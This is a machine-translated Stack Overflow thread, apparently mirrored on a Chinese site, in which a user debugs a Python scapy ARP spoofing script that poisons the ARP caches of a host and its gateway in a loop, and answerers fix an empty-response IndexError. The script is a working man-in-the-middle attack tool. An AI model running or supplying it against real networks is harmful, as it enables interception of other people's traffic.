首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >使用替身模块的Python欺骗器

使用替身模块的Python欺骗器
EN

Stack Overflow用户
提问于 2020-04-09 16:44:09
回答 3查看 1.5K关注 0票数 0

我试图编写一个基本的arp仿冒程序,我在网上找到了一个教程。因此,我编写了arpSpoofer的基本入门代码,但当我执行它时,会抛出一个IndexError: list索引,从range...Im中删除,肯定我在代码上犯了一个愚蠢的错误,但我真的找不到它,我已经尝试了好几个小时。守则是:

代码语言:javascript
复制
import scapy.all as scapy
from scapy import *
import time

def get_mac(ip):
        arp_request = scapy.ARP(pdst = ip)
        broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast / arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]

        return answered_list[0][1].hwsrc 

def spoof(target_ip, spoof_ip):
        target_mac = get_mac(target_ip)
        packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac,   psrc=spoof_ip)
        scapy.send(packet)




while True:
        spoof("192.168.1.79", "192.168.1.1")
        spoof("192.168.1.1", "192.168.1.79")

该错误消息是:

代码语言:javascript
复制
Traceback (most recent call last):
  File "arp_spoof.py", line 26, in <module>
    spoof("192.168.1.79", "192.168.1.1")
  File "arp_spoof.py", line 18, in spoof
    target_mac = get_mac(target_ip)
  File "arp_spoof.py", line 15, in get_mac
    return answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range

我希望能提前得到一些help...Thanks!:)

EN

回答 3

Stack Overflow用户

回答已采纳

发布于 2020-04-10 16:20:21

事实上,answered_list必须是空的。在尝试提取碎片之前,您应该检查一下这种情况。

您可能需要告诉Scapy使用特定的接口或调整您的路由规则。将iface参数添加到srp函数中。在Linux上,这类似于'eth0‘或'enp1s0’。在Windows上,这将是有意义的接口名称,比如‘1’之类的。

您可以在替罪羊中键入conf.iface以检查默认接口。通常,默认情况下选择的是错误的。很有可能,这就是为什么你有一个空名单。

我只想说一句:这是重复:

代码语言:javascript
复制
import scapy.all as scapy
from scapy import *

从模块或包导入*的实践通常不是很好的实践,原因如下:为什么在Python中导入星星是个坏主意

以下是不应该使用import *的一些要点:

  • 代码可读性
  • 什么是导入的,什么是不容易找到的,这一直是一个谜-某个模块是从哪个模块导入的,导致代码可读性低。
  • 污染了名称空间import *在您自己的命名空间中导入可能与您定义的函数和类或可能导入的其他库的函数和类冲突的所有函数和类。
  • 隐藏臭虫的具体可能性
  • 像pyflakes这样的工具不能用于静态地检测源代码中的错误。

最好是进口你需要的东西。

代码语言:javascript
复制
from scapy.all import srp,send,ARP
票数 0
EN

Stack Overflow用户

发布于 2021-05-18 11:57:19

代码语言:javascript
复制
scapy_ip = scapy.ARP(pdst=ip)
scapy_mac = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
scapy_broadcast = scapy_mac/scapy_ip
ans, unans = scapy.srp(scapy_broadcast, timeout=1, iface="eth0")

for i in ans:
    print(i[1].psrc, i[1].hwsrc)
票数 0
EN

Stack Overflow用户

发布于 2022-01-03 09:10:09

我更改了get_mac函数如下,以确保mac不是空的

代码语言:javascript
复制
def get_mac(ip):
mac = "xx"
while mac == "xx":
    try:
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout=1 , verbose=False)[0]
        mac = answered_list[0][1].hwsrc
        # print(mac)
    except:
        pass
    finally:
        return mac
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/61126068

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档